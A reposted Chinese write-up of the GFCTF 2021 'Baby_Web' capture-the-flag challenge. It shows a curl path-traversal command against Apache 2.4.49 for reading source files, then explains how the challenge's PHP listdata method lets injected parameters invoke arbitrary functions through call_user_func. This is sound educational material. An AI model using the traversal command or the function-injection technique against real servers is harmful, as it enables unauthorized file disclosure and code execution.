返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[GFCTF 2021] day2
  • 842
分享到

[GFCTF 2021] day2

php开发语言 2023-09-22 19:09:59 842人浏览 薄情痞子
摘要

Baby_WEB 查看源码发现 然后抓包看中间件,Apache/2.4.49 (Unix) 存在目录穿越漏洞 curl Http://node4.anna.nssctf.cn:28805/cgi-bin/.%2e/.%2e/.%2e/.%

Baby_WEB

查看源码发现

然后抓包看中间件,Apache/2.4.49 (Unix) 存在目录穿越漏洞

curl Http://node4.anna.nssctf.cn:28805/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/index        .PHP.txt

index.php

display($_GET['filename']);?>

继续读取Class.php

'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];    private $template;    public function __construct($data){        $this->date = array_merge($this->date,$data);    }    public function getTempName($template,$dir){        if($dir === 'admin'){            $this->template = str_replace('..','','./template/admin/'.$template);            if(!is_file($this->template)){                die("no!!");            }        }        else{            $this->template = './template/index.html';        }    }    public function display($template,$space=''){        extract($this->date);        $this->getTempName($template,$space);        include($this->template);    }    public function listdata($_params){        $system = [            'db' => '',            'app' => '',            'num' => '',            'sum' => '',            'form' => '',            'page' => '',            'site' => '',            'flag' => '',            'not_flag' => '',            'show_flag' => '',            'more' => '',            'catid' => '',            'field' => '',            'order' => '',            'space' => '',            'table' => '',            'table_site' => '',            'total' => '',            'join' => '',            'on' => '',            'action' => '',            'return' => '',            'sbpage' => '',            'module' => '',            'urlrule' => '',            'pagesize' => '',            'pagefile' => '',        ];        $param = $where = [];        $_params = trim($_params);        $params = explode(' ', $_params);        if (in_array($params[0], ['list','function'])) {            $params[0] = 'action='.$params[0];        }        foreach ($params as $t) {            $var = substr($t, 0, strpos($t, '='));            $val = substr($t, strpos($t, '=') + 1);            if (!$var) {                continue;            }            if (isset($system[$var])) {                 $system[$var] = $val;            } else {                $param[$var] = $val;             }        }        // action        switch ($system['action']) {            case 'function':                if (!isset($param['name'])) {                    return  'hacker!!';                } elseif (!function_exists($param['name'])) {                    return 'hacker!!';                }                $force = $param['force'];                if (!$force) {                    $p = [];                    foreach ($param as $var => $t) {                        if (strpos($var, 'param') === 0) {$n = intval(substr($var, 5));$p[$n] = $t;                        }                    }                    if ($p) {                        $rt = call_user_func_array($param['name'], $p);                    } else {                        $rt = call_user_func($param['name']);                    }                    return $rt;                }else{                    return null;                }            case 'list':                return json_encode($this->date);        }        return null;    }}

/template/admin/ 首先代码中有这一个目录,访问看一下是啥

 发现会调用listdata方法并且需要我们传参  action module

 if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);

template需要就是传进去index.html,这样才会调用listdata这个方法

$dir需要是admin,是space传进来的,所以space=admin

template也就是filename需要是 index.html

action需要是function

module也就是mod 赋值

force存在随便赋值就行

$force = $param['force'];
                if (!$force) {

利用call_user_func显示环境变量。

 这里action=function name=phpinfo是因为数组是以空格为分隔的。

方法二、利用call_user_func_array

$rt = call_user_func_array($param['name'], $p);

则需要满足 $p存在也就是,

foreach ($param as $var => $t) {    if (strpos($var, 'param') === 0) {        $n = intval(substr($var, 5));        $p[$n] = $t ;    }

在这里需要一个键和值,

结束! 

 

 

来源地址:https://blog.csdn.net/qq_62046696/article/details/130546143

--结束END--

本文标题: [GFCTF 2021] day2

本文链接: https://lsjlt.com/news/415690.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • [GFCTF 2021] day2
    Baby_Web 查看源码发现 然后抓包看中间件,Apache/2.4.49 (Unix) 存在目录穿越漏洞 curl http://node4.anna.nssctf.cn:28805/cgi-bin/.%2e/.%2e/.%2e/.%...
    99+
    2023-09-22
    php 开发语言
  • day2 Java NIO
    复习1. BlockingQueue:阻塞式队列,使用的时候需要指定容量,而且容量指定之后不可改变。    1. ArrayBlockingQueue:基于数组进行存储。  &nb...
    99+
    2023-06-02
  • Python-基础-day2
    Python环境的安装                                                                               安装Python: windows:           ...
    99+
    2023-01-30
    基础 Python
  • python笔记day2
    作用域只要内存中存在就可以使用,在有函数栈的情况下,还需要加一个条件。name = {'name1':'Carrick','name2','Tina'}for item in name:  print item  -->仅仅是打印,没...
    99+
    2023-01-31
    笔记 python
  • Python开发基础-day2
    一.python列表list是处理和存放一组数据的列表    用法:    acclist.index()   调出list中内容位置    acclist.insert()  (要插入的位置,插入的内容)  list插入内容    acc...
    99+
    2023-01-31
    基础 Python
  • Python学习记录day2
    今天,跟着Alex喝了心灵的鸡汤:Be a new gentlmen着装得体每天洗澡适当用香水女士优先不随地吐痰、不乱扔垃圾、不在人群中抽烟不大声喧哗不插队、碰到别人要说抱歉不在地铁上吃东西尊重别人的职业和劳动尊重别人隐私,不随便打听别人工...
    99+
    2023-01-31
    Python
  • 从零开始学Python-day2
    Python--Day2今日一句:距2017年仅剩三月不足,整理思路。希望来年按计划一步一步走下去!学习要有定位,明确目标地去学习。---leavespython01---基础语法运维开发:    这个岗位最近已经越来越火,作为一个刚毕业没...
    99+
    2023-01-31
    从零开始 Python
  • DASCTF X GFCTF 2022十月挑战赛web
    前言 晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。 EasyPOP 考察php的pop链,这题相比之下...
    99+
    2023-09-30
    php 开发语言
  • [DASCTF X GFCTF 2022十月挑战赛]EasyPOP
    [DASCTF X GFCTF 2022十月挑战赛]EasyPOP 考点:POP链构造 ...
    99+
    2023-09-05
    web安全 网络安全 php
  • Apache Doris Roadmap 2021
    ...
    99+
    2015-04-23
    Apache Doris Roadmap 2021
  • 【SQL刷题】Day2----SQL语法基础查询
    Day2----SQL语法基础查询 博主昵称:跳楼梯企鹅 博主主页面链接:博主主页传送门 博主专栏页面连接:专栏传送门--网路安全技术 创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望...
    99+
    2023-09-03
    sql 数据库 mysql
  • SWPUCTF 2021 新生赛
    😋大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。  本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。 ⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 gift_F12 j...
    99+
    2023-09-25
    php web安全 学习 网络安全 安全
  • SQL与数据库编程学习笔记-day2
    SQL与数据库编程学习笔记-day2 修改数据库密码; 首先打开在数据库bin目录下,打开cmd窗口;登入root用户。(用户名root,密码root); 登出数据库(修改数据库密码必须在数据库外执行命令);     ...
    99+
    2017-06-20
    SQL与数据库编程学习笔记-day2
  • [SWPUCTF 2021 新生赛]easyupload1.0
    看到这个你先上个一句话木马以图片的方式去上传 首先你得知道我们的目的是什么 取值flag 。这边我们看到成功上传 看的不是很仔细 bure 找...
    99+
    2023-08-31
    php 开发语言 Powered by 金山文档
  • [SWPUCTF 2021 新生赛]PseudoProtocols
    [SWPUCTF 2021 新生赛]PseudoProtocols 一、题目 二、WP 1、打开题目,发现提示我们是否能找到hint.php,并且发现URL有参数wllm。所以我们尝试利用PHP伪协...
    99+
    2023-10-01
    php web安全
  • [SWPUCTF 2021 新生赛]hardrce_3
    打开环境,审计代码。 逻辑本身不是很复杂,就是不准异或取反,且不能有字母数字,所以考虑用自增。 payload: //测试发现7.0.12以上版本不可使用//使用时需要url编码下$_=[];$_=@"$_";$_=$_['!'=='@'...
    99+
    2023-09-30
    php 开发语言 web安全
  • [SWPUCTF 2021 新生赛]easy_md5
    md5绕过 弱类型比较 由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过 比如: var_dump("0e12345"=="0e66666");//truevar_dump(...
    99+
    2023-10-11
    php 安全 开发语言
  • 【零基础??天速成 Java】Day2 - 初识面向对象
    目录 前言 1. 可变参数的使用 2. 构造器 3. 包 1、包的创建 2、包的使用 3、包的命名规范 4、常用的包 5. 访问修饰符 6. 继承  7. super 关键字 8. 方法重写 Override 写在最后: 前言 我的 j...
    99+
    2023-09-01
    java
  • 云镜CVE-2021-44983复现
    CVE-2021-44983复现 漏洞信息漏洞复现读取flag 🍉 === shell 来源:https://yunjing.ichunqiu.com/cve/det...
    99+
    2023-09-02
    php 安全 web安全
  • [春秋云镜]CVE-2021-32682
    声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权! 靶场介绍 elFinder 是一个开源的 web 文件管理器,使用 jQuery UI ...
    99+
    2023-09-12
    web安全 安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作